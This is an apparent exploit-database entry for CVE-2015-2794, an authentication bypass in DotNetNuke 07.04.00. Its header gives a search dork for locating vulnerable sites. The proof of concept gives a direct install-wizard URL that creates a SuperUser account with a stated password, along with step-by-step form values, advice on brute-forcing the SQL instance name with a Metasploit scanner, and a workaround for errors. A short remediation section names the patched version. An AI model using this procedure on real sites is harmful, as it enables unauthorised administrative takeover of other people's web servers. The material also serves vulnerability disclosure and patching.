# Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass # Date: 06-05-2016 # Dork: :inurl:/tabid/36/language/en-US/Default.aspx # Exploit Author: Marios Nicolaides # Vendor Homepage: http://www.dnnsoftware.com/ # Software Link: https://dotnetnuke.codeplex.com/releases/view/611324 # Version: 07.04.00 # Tested on: Microsoft Windows 7 Professional (64-bit) # Contact: marios.nicolaides@outlook.com # CVE: CVE-2015-2794 # Category: webapps 1. Description DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker can 'reinstall' DNN and get unauthorised access as a SuperUser. Previous versions of DotNetNuke may also be affected. 2. Proof of Concept The exploit can be demonstrated as follows: If the DNN SQL database is in the default location and configuration: - Database Type: SQL Server Express File - Server Name: .SQLExpress - Filename: Database.mdf (This is the default database file of DNN. You can find it at App_DataDatabase.mdf) The following URL will create an account with the username: 'host', password: 'dnnhost': http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it. A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE= B. Fill in the form and submit it: Username: whatever Password: whateverpassword Email address: whatever@example.com (You will get an error msg due to client-side validation, just ignore it) Website Name: Whatever Site Name Database Setup Custom: - Database Type: SQL Server Express File - Server Name: .SQLExpress - This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation. - If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it. - Filename: Database.mdf - This is the default database file of DNN. You can find it at "App_DataDatabase.mdf". - Tick the box Run Database as a Database Owner C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter. D. When the installation completes click Visit Website. E. Login with your credentials. 3. Solution: Update to version 07.04.01 https://dotnetnuke.codeplex.com/releases/view/615317 4. References: http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts) http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue